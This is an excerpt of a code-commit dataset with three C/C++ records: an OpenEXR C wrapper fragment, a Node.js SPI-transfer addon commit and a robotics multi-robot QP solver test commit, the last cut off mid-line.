auto in_file = reinterpret_cast<InputFile*>(input_file->input_file);\n    return in_file->version();\n}\n\nvoid CEXR_InputFile_set_frame_buffer(CEXR_InputFile* input_file, CEXR_FrameBuffer* frame_buffer) {\n    auto in_file = reinterpret_cast<InputFile*>(input_file->input_file);\n    auto framebuf = reinterpret_cast<FrameBuffer*>(frame_buffer->frame_buffer);\n\n    in_file->setFrameBuffer(*framebuf);\n}\n\nint CEXR_InputFile_is_complete(const CEXR_InputFile *input_file) {\n    auto in_file = reinterpret_cast<InputFile*>(input_file->input_file);\n    in_file->isComplete();\n}\n\nvoid CEXR_InputFile_read_pixels(CEXR_InputFile *input_file, int scanline_1, int scanline_2) {\n    auto in_file = reinterpret_cast<InputFile*>(input_file->input_file);\n    in_file->readPixels(scanline_1, scanline_2);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <errno.h>\n#include <nan.h>\n#include <sys\/ioctl.h>\n#include <linux\/spi\/spidev.h>\n#include \"spidevice.h\"\n#include \"transfer.h\"\n#include \"util.h\"\n\n\n#include <unistd.h>\n\n\n\/\/ TODO\n\/\/ - Make sure it works when the messages array is empty\n\n\nstatic int Transfer(\n  int fd,\n  spi_ioc_transfer *messages,\n  uint32_t messageCount) {\n  return ioctl(fd, SPI_IOC_MESSAGE(messageCount), messages);\n}\n\n\nclass TransferWorker : public SpiAsyncWorker {\npublic:\n  TransferWorker(\n    Nan::Callback *callback,\n    int fd,\n    v8::Local<v8::Value> messages,\n    spi_ioc_transfer *spiMessages,\n    uint32_t messageCount\n  ) : SpiAsyncWorker(callback),\n    fd_(fd),\n    spiMessages_(spiMessages),\n    messageCount_(messageCount) {\n    SaveToPersistent(\"messages\", messages);\n  }\n\n  ~TransferWorker() {\n  }\n\n  void Execute() {\n    int ret = Transfer(fd_, spiMessages_, messageCount_);\n    free(spiMessages_);\n    if (ret == -1) {\n      SetErrorNo(errno);\n      SetErrorSyscall(\"transfer\");\n    }\n  }\n\n  void HandleOKCallback() {\n    Nan::HandleScope scope;\n\n    v8::Local<v8::Value> messages = GetFromPersistent(\"messages\");\n\n    v8::Local<v8::Value> argv[] = {\n      Nan::Null(),\n      messages\n    };\n\n    callback->Call(2, argv);\n  }\n\nprivate:\n  int fd_;\n  spi_ioc_transfer *spiMessages_;\n  uint32_t messageCount_;\n};\n\n\nstatic int32_t ToSpiMessages(\n  v8::Local<v8::Array> messages,\n  spi_ioc_transfer *spiMessages\n) {\n  for (unsigned i = 0; i < messages->Length(); ++i) {\n    \/\/ Message\n\n    v8::Local<v8::Value> message = messages->Get(i);\n\n    if (!message->IsObject()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"each message being transfered should be an object\"));\n      return -1;\n    }\n\n    v8::Local<v8::Object> msg = v8::Local<v8::Object>::Cast(message);\n\n    \/\/ byteLength\n\n    v8::Local<v8::Value> byteLength = Nan::Get(msg,\n      Nan::New<v8::String>(\"byteLength\").ToLocalChecked()).ToLocalChecked();\n\n    if (byteLength->IsUndefined()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message byteLength not specified\"));\n      return -1;\n    } else if (!byteLength->IsUint32()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message byteLength should be an unsigned integer\"));\n      return -1;\n    }\n\n    uint32_t length = byteLength->Uint32Value();\n    spiMessages[i].len = length;\n\n    \/\/ sendBuffer\n\n    v8::Local<v8::Value> sendBuffer = Nan::Get(msg,\n      Nan::New<v8::String>(\"sendBuffer\").ToLocalChecked()).ToLocalChecked();\n\n    if (sendBuffer->IsNull() || sendBuffer->IsUndefined()) {\n      \/\/ No sendBuffer so tx_buf should be NULL. This is already the case.\n    } else if (node::Buffer::HasInstance(sendBuffer)) {\n      if (node::Buffer::Length(sendBuffer) < length) {\n        Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n          \"message sendBuffer contains less than byteLength bytes\"));\n        return -1;\n      }\n      spiMessages[i].tx_buf = (__u64) node::Buffer::Data(sendBuffer);\n    } else {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message sendBuffer should be null, undefined, or a Buffer object\"));\n      return -1;\n    }\n\n    \/\/ receiveBuffer\n\n    v8::Local<v8::Value> receiveBuffer = Nan::Get(msg,\n      Nan::New<v8::String>(\"receiveBuffer\").ToLocalChecked()).ToLocalChecked();\n\n    if (receiveBuffer->IsNull() || receiveBuffer->IsUndefined()) {\n      \/\/ No receiveBuffer so rx_buf should be NULL. This is already the case.\n    } else if (node::Buffer::HasInstance(receiveBuffer)) {\n      if (node::Buffer::Length(receiveBuffer) < length) {\n        Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n          \"message receiveBuffer contains less than byteLength bytes\"));\n        return -1;\n      }\n      spiMessages[i].rx_buf = (__u64) node::Buffer::Data(receiveBuffer);\n    } else {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message receiveBuffer should be null, undefined, or a Buffer object\"));\n      return -1;\n    }\n\n    \/\/ sendBuffer and receiveBuffer\n\n    if ((sendBuffer->IsNull() || sendBuffer->IsUndefined()) &&\n        (receiveBuffer->IsNull() || receiveBuffer->IsUndefined())) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message contains neither a sendBuffer nor a receiveBuffer\"));\n      return -1;\n    }\n\n    \/\/ speed\n\n    v8::Local<v8::Value> speed = Nan::Get(msg,\n      Nan::New<v8::String>(\"speed\").ToLocalChecked()).ToLocalChecked();\n\n    if (speed->IsUndefined()) {\n      \/\/ No speed defined, nothing to do.\n    } else if (!speed->IsUint32()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message speed should be an unsigned integer\"));\n      return -1;\n    } else {\n      spiMessages[i].speed_hz = speed->Uint32Value();\n    }\n\n    \/\/ chipSelectChange\n\n    v8::Local<v8::Value> chipSelectChange = Nan::Get(msg,\n      Nan::New<v8::String>(\"chipSelectChange\").ToLocalChecked()).\n      ToLocalChecked();\n\n    if (chipSelectChange->IsUndefined()) {\n      \/\/ No chipSelectChange defined, nothing to do.\n    } else if (!chipSelectChange->IsBoolean()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message chipSelectChange should be a boolean\"));\n      return -1;\n    } else {\n      spiMessages[i].cs_change = chipSelectChange->BooleanValue() ? 1 : 0;\n    }\n  }\n\n  return 0;\n}\n\n\nvoid Transfer(Nan::NAN_METHOD_ARGS_TYPE info) {\n  SpiDevice *device = Nan::ObjectWrap::Unwrap<SpiDevice>(info.This());\n  int fd = device->Fd();\n\n  if (fd == -1) {\n    return Nan::ThrowError(Nan::ErrnoException(EPERM, \"transfer\",\n      \"device closed, operation not permitted\"));\n  }\n\n  if (info.Length() < 2 ||\n      !info[0]->IsArray() ||\n      !info[1]->IsFunction()) {\n    return Nan::ThrowError(Nan::ErrnoException(EINVAL, \"transfer\",\n      \"incorrect arguments passed to transfer(messages, cb)\"));\n  }\n\n  v8::Local<v8::Array> messages = info[0].As<v8::Array>();\n  Nan::Callback *callback = new Nan::Callback(info[1].As<v8::Function>());\n\n  spi_ioc_transfer *spiMessages = (spi_ioc_transfer *)\n    malloc(messages->Length() * sizeof(spi_ioc_transfer));\n  memset(spiMessages, 0, messages->Length() * sizeof(spi_ioc_transfer));\n\n  if (ToSpiMessages(messages, spiMessages) == -1) {\n    free(spiMessages);\n    return;\n  }\n\n  Nan::AsyncQueueWorker(new TransferWorker(\n    callback,\n    fd,\n    messages,\n    spiMessages,\n    messages->Length()\n  ));\n\n  info.GetReturnValue().Set(info.This());\n}\n\n\nvoid TransferSync(Nan::NAN_METHOD_ARGS_TYPE info) {\n  SpiDevice *device = Nan::ObjectWrap::Unwrap<SpiDevice>(info.This());\n  int fd = device->Fd();\n\n  if (fd == -1) {\n    return Nan::ThrowError(Nan::ErrnoException(EPERM, \"transferSync\",\n      \"device closed, operation not permitted\"));\n  }\n\n  if (info.Length() < 1 || !info[0]->IsArray()) {\n    return Nan::ThrowError(Nan::ErrnoException(EINVAL, \"transfer\",\n      \"incorrect arguments passed to transferSync(messages)\"));\n  }\n\n  v8::Local<v8::Array> messages = info[0].As<v8::Array>();\n\n  spi_ioc_transfer *spiMessages = (spi_ioc_transfer *)\n    malloc(messages->Length() * sizeof(spi_ioc_transfer));\n  memset(spiMessages, 0, messages->Length() * sizeof(spi_ioc_transfer));\n\n  if (ToSpiMessages(messages, spiMessages) == 0) {\n    if (Transfer(fd, spiMessages, messages->Length()) == -1) {\n      Nan::ThrowError(Nan::ErrnoException(errno, \"transferSync\", \"\"));\n    }\n  }\n\n  free(spiMessages);\n\n  info.GetReturnValue().Set(info.This());\n}\n\n<commit_msg>stray include removed<commit_after>#include <errno.h>\n#include <nan.h>\n#include <sys\/ioctl.h>\n#include <linux\/spi\/spidev.h>\n#include \"spidevice.h\"\n#include \"transfer.h\"\n#include \"util.h\"\n\n\n\/\/ TODO\n\/\/ - Make sure it works when the messages array is empty\n\n\nstatic int Transfer(\n  int fd,\n  spi_ioc_transfer *messages,\n  uint32_t messageCount) {\n  return ioctl(fd, SPI_IOC_MESSAGE(messageCount), messages);\n}\n\n\nclass TransferWorker : public SpiAsyncWorker {\npublic:\n  TransferWorker(\n    Nan::Callback *callback,\n    int fd,\n    v8::Local<v8::Value> messages,\n    spi_ioc_transfer *spiMessages,\n    uint32_t messageCount\n  ) : SpiAsyncWorker(callback),\n    fd_(fd),\n    spiMessages_(spiMessages),\n    messageCount_(messageCount) {\n    SaveToPersistent(\"messages\", messages);\n  }\n\n  ~TransferWorker() {\n  }\n\n  void Execute() {\n    int ret = Transfer(fd_, spiMessages_, messageCount_);\n    free(spiMessages_);\n    if (ret == -1) {\n      SetErrorNo(errno);\n      SetErrorSyscall(\"transfer\");\n    }\n  }\n\n  void HandleOKCallback() {\n    Nan::HandleScope scope;\n\n    v8::Local<v8::Value> messages = GetFromPersistent(\"messages\");\n\n    v8::Local<v8::Value> argv[] = {\n      Nan::Null(),\n      messages\n    };\n\n    callback->Call(2, argv);\n  }\n\nprivate:\n  int fd_;\n  spi_ioc_transfer *spiMessages_;\n  uint32_t messageCount_;\n};\n\n\nstatic int32_t ToSpiMessages(\n  v8::Local<v8::Array> messages,\n  spi_ioc_transfer *spiMessages\n) {\n  for (unsigned i = 0; i < messages->Length(); ++i) {\n    \/\/ Message\n\n    v8::Local<v8::Value> message = messages->Get(i);\n\n    if (!message->IsObject()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"each message being transfered should be an object\"));\n      return -1;\n    }\n\n    v8::Local<v8::Object> msg = v8::Local<v8::Object>::Cast(message);\n\n    \/\/ byteLength\n\n    v8::Local<v8::Value> byteLength = Nan::Get(msg,\n      Nan::New<v8::String>(\"byteLength\").ToLocalChecked()).ToLocalChecked();\n\n    if (byteLength->IsUndefined()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message byteLength not specified\"));\n      return -1;\n    } else if (!byteLength->IsUint32()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message byteLength should be an unsigned integer\"));\n      return -1;\n    }\n\n    uint32_t length = byteLength->Uint32Value();\n    spiMessages[i].len = length;\n\n    \/\/ sendBuffer\n\n    v8::Local<v8::Value> sendBuffer = Nan::Get(msg,\n      Nan::New<v8::String>(\"sendBuffer\").ToLocalChecked()).ToLocalChecked();\n\n    if (sendBuffer->IsNull() || sendBuffer->IsUndefined()) {\n      \/\/ No sendBuffer so tx_buf should be NULL. This is already the case.\n    } else if (node::Buffer::HasInstance(sendBuffer)) {\n      if (node::Buffer::Length(sendBuffer) < length) {\n        Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n          \"message sendBuffer contains less than byteLength bytes\"));\n        return -1;\n      }\n      spiMessages[i].tx_buf = (__u64) node::Buffer::Data(sendBuffer);\n    } else {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message sendBuffer should be null, undefined, or a Buffer object\"));\n      return -1;\n    }\n\n    \/\/ receiveBuffer\n\n    v8::Local<v8::Value> receiveBuffer = Nan::Get(msg,\n      Nan::New<v8::String>(\"receiveBuffer\").ToLocalChecked()).ToLocalChecked();\n\n    if (receiveBuffer->IsNull() || receiveBuffer->IsUndefined()) {\n      \/\/ No receiveBuffer so rx_buf should be NULL. This is already the case.\n    } else if (node::Buffer::HasInstance(receiveBuffer)) {\n      if (node::Buffer::Length(receiveBuffer) < length) {\n        Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n          \"message receiveBuffer contains less than byteLength bytes\"));\n        return -1;\n      }\n      spiMessages[i].rx_buf = (__u64) node::Buffer::Data(receiveBuffer);\n    } else {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message receiveBuffer should be null, undefined, or a Buffer object\"));\n      return -1;\n    }\n\n    \/\/ sendBuffer and receiveBuffer\n\n    if ((sendBuffer->IsNull() || sendBuffer->IsUndefined()) &&\n        (receiveBuffer->IsNull() || receiveBuffer->IsUndefined())) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message contains neither a sendBuffer nor a receiveBuffer\"));\n      return -1;\n    }\n\n    \/\/ speed\n\n    v8::Local<v8::Value> speed = Nan::Get(msg,\n      Nan::New<v8::String>(\"speed\").ToLocalChecked()).ToLocalChecked();\n\n    if (speed->IsUndefined()) {\n      \/\/ No speed defined, nothing to do.\n    } else if (!speed->IsUint32()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message speed should be an unsigned integer\"));\n      return -1;\n    } else {\n      spiMessages[i].speed_hz = speed->Uint32Value();\n    }\n\n    \/\/ chipSelectChange\n\n    v8::Local<v8::Value> chipSelectChange = Nan::Get(msg,\n      Nan::New<v8::String>(\"chipSelectChange\").ToLocalChecked()).\n      ToLocalChecked();\n\n    if (chipSelectChange->IsUndefined()) {\n      \/\/ No chipSelectChange defined, nothing to do.\n    } else if (!chipSelectChange->IsBoolean()) {\n      Nan::ThrowError(Nan::ErrnoException(EINVAL, \"toSpiMessages\",\n        \"message chipSelectChange should be a boolean\"));\n      return -1;\n    } else {\n      spiMessages[i].cs_change = chipSelectChange->BooleanValue() ? 1 : 0;\n    }\n  }\n\n  return 0;\n}\n\n\nvoid Transfer(Nan::NAN_METHOD_ARGS_TYPE info) {\n  SpiDevice *device = Nan::ObjectWrap::Unwrap<SpiDevice>(info.This());\n  int fd = device->Fd();\n\n  if (fd == -1) {\n    return Nan::ThrowError(Nan::ErrnoException(EPERM, \"transfer\",\n      \"device closed, operation not permitted\"));\n  }\n\n  if (info.Length() < 2 ||\n      !info[0]->IsArray() ||\n      !info[1]->IsFunction()) {\n    return Nan::ThrowError(Nan::ErrnoException(EINVAL, \"transfer\",\n      \"incorrect arguments passed to transfer(messages, cb)\"));\n  }\n\n  v8::Local<v8::Array> messages = info[0].As<v8::Array>();\n  Nan::Callback *callback = new Nan::Callback(info[1].As<v8::Function>());\n\n  spi_ioc_transfer *spiMessages = (spi_ioc_transfer *)\n    malloc(messages->Length() * sizeof(spi_ioc_transfer));\n  memset(spiMessages, 0, messages->Length() * sizeof(spi_ioc_transfer));\n\n  if (ToSpiMessages(messages, spiMessages) == -1) {\n    free(spiMessages);\n    return;\n  }\n\n  Nan::AsyncQueueWorker(new TransferWorker(\n    callback,\n    fd,\n    messages,\n    spiMessages,\n    messages->Length()\n  ));\n\n  info.GetReturnValue().Set(info.This());\n}\n\n\nvoid TransferSync(Nan::NAN_METHOD_ARGS_TYPE info) {\n  SpiDevice *device = Nan::ObjectWrap::Unwrap<SpiDevice>(info.This());\n  int fd = device->Fd();\n\n  if (fd == -1) {\n    return Nan::ThrowError(Nan::ErrnoException(EPERM, \"transferSync\",\n      \"device closed, operation not permitted\"));\n  }\n\n  if (info.Length() < 1 || !info[0]->IsArray()) {\n    return Nan::ThrowError(Nan::ErrnoException(EINVAL, \"transfer\",\n      \"incorrect arguments passed to transferSync(messages)\"));\n  }\n\n  v8::Local<v8::Array> messages = info[0].As<v8::Array>();\n\n  spi_ioc_transfer *spiMessages = (spi_ioc_transfer *)\n    malloc(messages->Length() * sizeof(spi_ioc_transfer));\n  memset(spiMessages, 0, messages->Length() * sizeof(spi_ioc_transfer));\n\n  if (ToSpiMessages(messages, spiMessages) == 0) {\n    if (Transfer(fd, spiMessages, messages->Length()) == -1) {\n      Nan::ThrowError(Nan::ErrnoException(errno, \"transferSync\", \"\"));\n    }\n  }\n\n  free(spiMessages);\n\n  info.GetReturnValue().Set(info.This());\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is part of Tasks.\n\/\/\n\/\/ Tasks is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ Tasks is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public License\n\/\/ along with Tasks.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n\/\/ includes\n\/\/ std\n#include <fstream>\n#include <iostream>\n#include <tuple>\n\n\/\/ boost\n#define BOOST_TEST_MODULE QPMultiRobotTest\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/math\/constants\/constants.hpp>\n\n\/\/ RBDyn\n#include <RBDyn\/EulerIntegration.h>\n#include <RBDyn\/FK.h>\n#include <RBDyn\/FV.h>\n#include <RBDyn\/ID.h>\n#include <RBDyn\/MultiBody.h>\n#include <RBDyn\/MultiBodyConfig.h>\n#include <RBDyn\/MultiBodyGraph.h>\n\n\/\/ Tasks\n#include \"Bounds.h\"\n#include \"QPConstr.h\"\n#include \"QPMotionConstr.h\"\n#include \"QPSolver.h\"\n#include \"QPTasks.h\"\n\n\/\/ Arms\n#include \"arms.h\"\n\n\n\/\/ Test contact between two robot.\n\/\/ We set two identical robot at the same positio\n\/\/ then we link the end effector and add a task\n\/\/ to make it move on the second robot.\n\/\/ The first robot must have the same motion.\nBOOST_AUTO_TEST_CASE(TwoArmContactTest)\n{\n\tusing namespace Eigen;\n\tusing namespace sva;\n\tusing namespace rbd;\n\tusing namespace tasks;\n\tnamespace cst = boost::math::constants;\n\n\tMultiBody mb1, mb2;\n\tMultiBodyConfig mbc1Init, mbc2Init;\n\n\tstd::tie(mb1, mbc1Init) = makeZXZArm();\n\tstd::tie(mb2, mbc2Init) = makeZXZArm();\n\n\tforwardKinematics(mb1, mbc1Init);\n\tforwardVelocity(mb1, mbc1Init);\n\tforwardKinematics(mb2, mbc2Init);\n\tforwardVelocity(mb2, mbc2Init);\n\n\tsva::PTransformd X_0_b1(mbc1Init.bodyPosW.back());\n\tsva::PTransformd X_0_b2(mbc2Init.bodyPosW.back());\n\tsva::PTransformd X_b1_b2(X_0_b2*X_0_b1.inv());\n\n\tstd::vector<MultiBody> mbs = {mb1, mb2};\n\tstd::vector<MultiBodyConfig> mbcs = {mbc1Init, mbc2Init};\n\n\t\/\/ Test ContactAccConstr constraint\n\t\/\/ Also test PositionTask on the second robot\n\n\tqp::QPSolver solver;\n\n\tstd::vector<qp::UnilateralContact> contVec =\n\t\t{qp::UnilateralContact(0, 1, 3, 3,\n\t\t\t{Vector3d::Zero()}, RotX(cst::pi<double>()\/2.), X_b1_b2,\n\t\t\t3, std::tan(cst::pi<double>()\/4.))};\n\n\tMatrix3d oriD = RotZ(cst::pi<double>()\/4.);\n\tVector3d posD(oriD*mbc2Init.bodyPosW.back().translation());\n\tqp::PositionTask posTask(mbs, 1, 3, posD);\n\tqp::SetPointTask posTaskSp(mbs, 1, &posTask, 1000., 1.);\n\n\tqp::ContactAccConstr contCstrAcc;\n\n\tcontCstrAcc.addToSolver(solver);\n\tsolver.addTask(&posTaskSp);\n\n\tsolver.nrVars(mbs, contVec, {});\n\tsolver.updateConstrSize();\n\n\t\/\/ 3 dof + 3 dof + 3 lambda\n\tBOOST_CHECK_EQUAL(solver.nrVars(), 3 + 3 + 3);\n\n\tfor(int i = 0; i < 1000; ++i)\n\t{\n\t\tBOOST_REQUIRE(solver.solve(mbs, mbcs));\n\t\tfor(std::size_t r = 0; r < mbs.size(); ++r)\n\t\t{\n\t\t\teulerIntegration(mbs[r], mbcs[r], 0.001);\n\n\t\t\tforwardKinematics(mbs[r], mbcs[r]);\n\t\t\tforwardVelocity(mbs[r], mbcs[r]);\n\t\t}\n\t\t\/\/ check that the link hold\n\t\tsva::PTransformd X_0_b1_post(mbcs[0].bodyPosW.back());\n\t\tsva::PTransformd X_0_b2_post(mbcs[1].bodyPosW.back());\n\t\tsva::PTransformd X_b1_b2_post(X_0_b2*X_0_b1.inv());\n\t\tBOOST_CHECK_SMALL((X_b1_b2.matrix() - X_b1_b2_post.matrix()).norm(), 1e-5);\n\t}\n\t\/\/ check that the task is well minimized\n\tBOOST_CHECK_SMALL(posTask.eval().norm(), 1e-5);\n\n\tcontCstrAcc.removeFromSolver(solver);\n\tsolver.removeTask(&posTaskSp);\n\n\t\/\/ Test ContactSpeedConstr constraint\n\t\/\/ Also test OrientationTask on the second robot\n\n\tmbcs = {mbc1Init, mbc2Init};\n\tqp::OrientationTask oriTask(mbs, 1, 3, oriD);\n\tqp::SetPointTask oriTaskSp(mbs, 1, &oriTask, 1000., 1.);\n\n\tqp::ContactSpeedConstr contCstrSpeed(0.001);\n\n\tcontCstrSpeed.addToSolver(solver);\n\tsolver.addTask(&oriTaskSp);\n\n\tsolver.nrVars(mbs, contVec, {});\n\tsolver.updateConstrSize();\n\n\tfor(int i = 0; i < 1000; ++i)\n\t{\n\t\tBOOST_REQUIRE(solver.solve(mbs, mbcs));\n\t\tfor(std::size_t r = 0; r < mbs.size(); ++r)\n\t\t{\n\t\t\teulerIntegration(mbs[r], mbcs[r], 0.001);\n\n\t\t\tforwardKinematics(mbs[r], mbcs[r]);\n\t\t\tforwardVelocity(mbs[r], mbcs[r]);\n\t\t}\n\t\t\/\/ check that the link hold\n\t\tsva::PTransformd X_0_b1_post(mbcs[0].bodyPosW.back());\n\t\tsva::PTransformd X_0_b2_post(mbcs[1].bodyPosW.back());\n\t\tsva::PTransformd X_b1_b2_post(X_0_b2*X_0_b1.inv());\n\t\tBOOST_CHECK_SMALL((X_b1_b2.matrix() - X_b1_b2_post.matrix()).norm(), 1e-5);\n\t}\n\t\/\/ check that the task is well minimized\n\tBOOST_CHECK_SMALL(oriTask.eval().norm(), 1e-5);\n}\n<commit_msg>Document a little TwoArmDDynamicContactTest.<commit_after>\/\/ This file is part of Tasks.\n\/\/\n\/\/ Tasks is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Lesser General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ Tasks is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public License\n\/\/ along with Tasks.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n\/\/ includes\n\/\/ std\n#include <fstream>\n#include <iostream>\n#include <tuple>\n\n\/\/ boost\n#define BOOST_TEST_MODULE QPMultiRobotTest\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/math\/constants\/constants.hpp>\n\n\/\/ RBDyn\n#include <RBDyn\/EulerIntegration.h>\n#include <RBDyn\/FK.h>\n#include <RBDyn\/FV.h>\n#include <RBDyn\/ID.h>\n#include <RBDyn\/MultiBody.h>\n#include <RBDyn\/MultiBodyConfig.h>\n#include <RBDyn\/MultiBodyGraph.h>\n\n\/\/ Tasks\n#include \"Bounds.h\"\n#include \"QPConstr.h\"\n#include \"QPMotionConstr.h\"\n#include \"QPSolver.h\"\n#include \"QPTasks.h\"\n\n\/\/ Arms\n#include \"arms.h\"\n\n\n\/\/ Test contact between two robot.\n\/\/ We set two identical robot at the same positio\n\/\/ then we link the end effector and add a task\n\/\/ to make it move on the second robot.\n\/\/ The first robot must have the same motion.\nBOOST_AUTO_TEST_CASE(TwoArmContactTest)\n{\n\tusing namespace Eigen;\n\tusing namespace sva;\n\tusing namespace rbd;\n\tusing namespace tasks;\n\tnamespace cst = boost::math::constants;\n\n\tMultiBody mb1, mb2;\n\tMultiBodyConfig mbc1Init, mbc2Init;\n\n\tstd::tie(mb1, mbc1Init) = makeZXZArm();\n\tstd::tie(mb2, mbc2Init) = makeZXZArm();\n\n\tforwardKinematics(mb1, mbc1Init);\n\tforwardVelocity(mb1, mbc1Init);\n\tforwardKinematics(mb2, mbc2Init);\n\tforwardVelocity(mb2, mbc2Init);\n\n\tsva::PTransformd X_0_b1(mbc1Init.bodyPosW.back());\n\tsva::PTransformd X_0_b2(mbc2Init.bodyPosW.back());\n\tsva::PTransformd X_b1_b2(X_0_b2*X_0_b1.inv());\n\n\tstd::vector<MultiBody> mbs = {mb1, mb2};\n\tstd::vector<MultiBodyConfig> mbcs = {mbc1Init, mbc2Init};\n\n\t\/\/ Test ContactAccConstr constraint\n\t\/\/ Also test PositionTask on the second robot\n\n\tqp::QPSolver solver;\n\n\tstd::vector<qp::UnilateralContact> contVec =\n\t\t{qp::UnilateralContact(0, 1, 3, 3,\n\t\t\t{Vector3d::Zero()}, RotX(cst::pi<double>()\/2.), X_b1_b2,\n\t\t\t3, std::tan(cst::pi<double>()\/4.))};\n\n\tMatrix3d oriD = RotZ(cst::pi<double>()\/4.);\n\tVector3d posD(oriD*mbc2Init.bodyPosW.back().translation());\n\tqp::PositionTask posTask(mbs, 1, 3, posD);\n\tqp::SetPointTask posTaskSp(mbs, 1, &posTask, 1000., 1.);\n\n\tqp::ContactAccConstr contCstrAcc;\n\n\tcontCstrAcc.addToSolver(solver);\n\tsolver.addTask(&posTaskSp);\n\n\tsolver.nrVars(mbs, contVec, {});\n\tsolver.updateConstrSize();\n\n\t\/\/ 3 dof + 3 dof + 3 lambda\n\tBOOST_CHECK_EQUAL(solver.nrVars(), 3 + 3 + 3);\n\n\tfor(int i = 0; i < 1000; ++i)\n\t{\n\t\tBOOST_REQUIRE(solver.solve(mbs, mbcs));\n\t\tfor(std::size_t r = 0; r < mbs.size(); ++r)\n\t\t{\n\t\t\teulerIntegration(mbs[r], mbcs[r], 0.001);\n\n\t\t\tforwardKinematics(mbs[r], mbcs[r]);\n\t\t\tforwardVelocity(mbs[r], mbcs[r]);\n\t\t}\n\t\t\/\/ check that the link hold\n\t\tsva::PTransformd X_0_b1_post(mbcs[0].bodyPosW.back());\n\t\tsva::PTransformd X_0_b2_post(mbcs[1].bodyPosW.back());\n\t\tsva::PTransformd X_b1_b2_post(X_0_b2*X_0_b1.inv());\n\t\tBOOST_CHECK_SMALL((X_b1_b2.matrix() - X_b1_b2_post.matrix()).norm(), 1e-5);\n\t}\n\t\/\/ check that the task is well minimized\n\tBOOST_CHECK_SMALL(posTask.eval().norm(), 1e-5);\n\n\tcontCstrAcc.removeFromSolver(solver);\n\tsolver.removeTask(&posTaskSp);\n\n\t\/\/ Test ContactSpeedConstr constraint\n\t\/\/ Also test OrientationTask on the second robot\n\n\tmbcs = {mbc1Init, mbc2Init};\n\tqp::OrientationTask oriTask(mbs, 1, 3, oriD);\n\tqp::SetPointTask oriTaskSp(mbs, 1, &oriTask, 1000., 1.);\n\n\tqp::ContactSpeedConstr contCstrSpeed(0.001);\n\n\tcontCstrSpeed.addToSolver(solver);\n\tsolver.addTask(&oriTaskSp);\n\n\tsolver.nrVars(mbs, contVec, {});\n\tsolver.updateConstrSize();\n\n\tfor(int i = 0; i < 1000; ++i)\n\t{\n\t\tBOOST_REQUIRE(solver.solve(mbs, mbcs));\n\t\tfor(std::size_t r = 0; r < mbs.size(); ++r)\n\t\t{\n\t\t\teulerIntegration(mbs[r], mbcs[r], 0.001);\n\n\t\t\tforwardKinematics(mbs[r], mbcs[r]);\n\t\t\tforwardVelocity(mbs[r], mbcs[r]);\n\t\t}\n\t\t\/\/ check that the link hold\n\t\tsva::PTransformd X_0_b1_post(mbcs[0].bodyPosW.back());\n\t\tsva::PTransformd X_0_b2_post(mbcs[1].bodyPosW.back());\n\t\tsva::PTransformd X_b1_b2_post(X_0_b2*X_0_b1.inv());\n\t\tBOOST_CHECK_SMALL((X_b1_b2.matrix() - X_b1_b2_post.matrix()).norm(), 1e-5);\n\t}\n\t\/\/ check that the task is well minimized\n\tBOOST_CHECK_SMALL(oriTask.eval().norm(), 1e-5);\n}\n\n\n\/\/ Test Motion constraint\n\/\/ We setup two arm, one with a fixed base and the second\n\/\/ with a freebase put on the body b3 of the first robot.\n\/\/ First we launch an impossible motion to check the dynamics\n\/\/ After we try with an unilateral contact\n\/\/ Then we try with a bilateral contact.\nBOOST_AUTO_TEST_CASE(TwoArmDDynamicContactTest)\n{\n\tusing namespace Eigen;\n\tusing namespace sva;\n\tusing namespace rbd;\n\tusing namespace tasks;\n\tnamespace cst = boost::math::constants;\n\n\tMultiBody mb1, mb2;\n\tMultiBodyConfig mbc1Init, mbc2Init;\n\n\tstd::tie(mb1, mbc1Init) = 